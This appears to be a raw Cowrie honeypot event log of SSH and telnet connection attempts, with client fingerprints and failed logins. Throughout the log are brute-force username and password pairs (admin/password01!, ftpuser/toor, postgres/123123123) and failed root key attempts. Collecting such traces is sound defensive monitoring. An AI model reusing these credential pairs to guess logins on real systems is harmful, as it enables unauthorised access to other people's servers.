{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer1234567","message":"login attempt [ubuntu/developer1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:24.107191Z","src_ip":"103.63.108.25","session":"e4ce6bb07b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:25.386562Z","src_ip":"103.63.108.25","session":"e4ce6bb07b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":35896,"dst_ip":"159.203.135.109","dst_port":22,"session":"06b8f0e4185e","protocol":"ssh","message":"New connection: 103.63.108.25:35896 (159.203.135.109:22) [session: 06b8f0e4185e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:20.232296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:20.237824Z","src_ip":"103.63.108.25","session":"06b8f0e4185e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:20.504749Z","src_ip":"103.63.108.25","session":"06b8f0e4185e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password01!","message":"login attempt [admin/password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:21.594793Z","src_ip":"103.63.108.25","session":"06b8f0e4185e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:22.861232Z","src_ip":"103.63.108.25","session":"06b8f0e4185e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.52.95.38","src_port":53896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c07dda6d05b4","protocol":"ssh","message":"New connection: 67.52.95.38:53896 (159.203.135.109:22) [session: c07dda6d05b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:47.336803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:47.341378Z","src_ip":"67.52.95.38","session":"c07dda6d05b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:47.468717Z","src_ip":"67.52.95.38","session":"c07dda6d05b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2023","message":"login attempt [ftpuser/ftpuser2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:48.011546Z","src_ip":"67.52.95.38","session":"c07dda6d05b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:10:49.142418Z","src_ip":"67.52.95.38","session":"c07dda6d05b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":45432,"dst_ip":"159.203.135.109","dst_port":22,"session":"eca79f5bb5c3","protocol":"ssh","message":"New connection: 103.63.108.25:45432 (159.203.135.109:22) [session: eca79f5bb5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:11:17.561491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:11:17.567092Z","src_ip":"103.63.108.25","session":"eca79f5bb5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:11:17.841592Z","src_ip":"103.63.108.25","session":"eca79f5bb5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bkuser","password":"bkuser","message":"login attempt [bkuser/bkuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:11:18.970860Z","src_ip":"103.63.108.25","session":"eca79f5bb5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:11:20.244240Z","src_ip":"103.63.108.25","session":"eca79f5bb5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f410a2ca1f77","protocol":"telnet","message":"New connection: 212.55.149.117:60908 (10.17.0.5:23) [session: f410a2ca1f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:05.904255Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":59716,"dst_ip":"159.203.135.109","dst_port":22,"session":"0656dd5765f7","protocol":"ssh","message":"New connection: 103.63.108.25:59716 (159.203.135.109:22) [session: 0656dd5765f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:15.883200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:15.890777Z","src_ip":"103.63.108.25","session":"0656dd5765f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:16.165603Z","src_ip":"103.63.108.25","session":"0656dd5765f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"12345","message":"login attempt [odoo/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:17.291160Z","src_ip":"103.63.108.25","session":"0656dd5765f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:18.615678Z","src_ip":"103.63.108.25","session":"0656dd5765f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":20292,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa347c586fd","protocol":"ssh","message":"New connection: 193.24.211.100:20292 (159.203.135.109:22) [session: 3fa347c586fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:23.531300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:23.536327Z","src_ip":"193.24.211.100","session":"3fa347c586fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:23.648844Z","src_ip":"193.24.211.100","session":"3fa347c586fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"toor","message":"login attempt [ftpuser/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:24.072946Z","src_ip":"193.24.211.100","session":"3fa347c586fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:12:25.185182Z","src_ip":"193.24.211.100","session":"3fa347c586fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d4ad536560","protocol":"ssh","message":"New connection: 103.63.108.25:53818 (159.203.135.109:22) [session: 45d4ad536560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:11.218319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:11.226231Z","src_ip":"103.63.108.25","session":"45d4ad536560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:11.507331Z","src_ip":"103.63.108.25","session":"45d4ad536560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123123123","message":"login attempt [postgres/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:12.603508Z","src_ip":"103.63.108.25","session":"45d4ad536560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:13.884435Z","src_ip":"103.63.108.25","session":"45d4ad536560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":43240,"dst_ip":"10.17.0.5","dst_port":22,"session":"72852d633fb9","protocol":"ssh","message":"New connection: 141.95.34.214:43240 (10.17.0.5:22) [session: 72852d633fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.252492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.257617Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.348462Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:e8:fc:e7:0e:69:de:0c:b3:f3:fd:df:27:22:51:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5AU7Zm+GzBMHGSypJqETmEX0GuTLPejZg9mCr2cU5NAjftU58n27NQ3f/S4NMOjAj3vjwOIjwQJoiG0Of34FRA/MRb5WAazCNUuJYzEOixjSETplD58tldQ438eyPETtgJsBm11tixxLBU7vjf/OmDdqpYeDskODJgwEPHPOVMVkHNJyPce2k4kfJkPnfitkxjyTVm9r4Ep9WZO77feIembezSMJBaSijjQHqZIePL02fFnFxI2EKYRcBJ44sajkSiBdbfWeZOmQOdj95xhwzc6jcM8eCinYWMoMNkT5y1k1U3fXD02MwymTpkYqWTGjzm6iAC08z3GYcKAo/kIWT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:e8:fc:e7:0e:69:de:0c:b3:f3:fd:df:27:22:51:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.763285Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:e8:fc:e7:0e:69:de:0c:b3:f3:fd:df:27:22:51:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5AU7Zm+GzBMHGSypJqETmEX0GuTLPejZg9mCr2cU5NAjftU58n27NQ3f/S4NMOjAj3vjwOIjwQJoiG0Of34FRA/MRb5WAazCNUuJYzEOixjSETplD58tldQ438eyPETtgJsBm11tixxLBU7vjf/OmDdqpYeDskODJgwEPHPOVMVkHNJyPce2k4kfJkPnfitkxjyTVm9r4Ep9WZO77feIembezSMJBaSijjQHqZIePL02fFnFxI2EKYRcBJ44sajkSiBdbfWeZOmQOdj95xhwzc6jcM8eCinYWMoMNkT5y1k1U3fXD02MwymTpkYqWTGjzm6iAC08z3GYcKAo/kIWT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.767385Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:fa:c8:e8:63:a8:30:7e:b1:e0:d4:3a:65:f3:4e:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIihzgAWsk8C3+RNm3nXUh4zeL5UGlV44BGa5YLU+KuE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9d:fa:c8:e8:63:a8:30:7e:b1:e0:d4:3a:65:f3:4e:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.855519Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
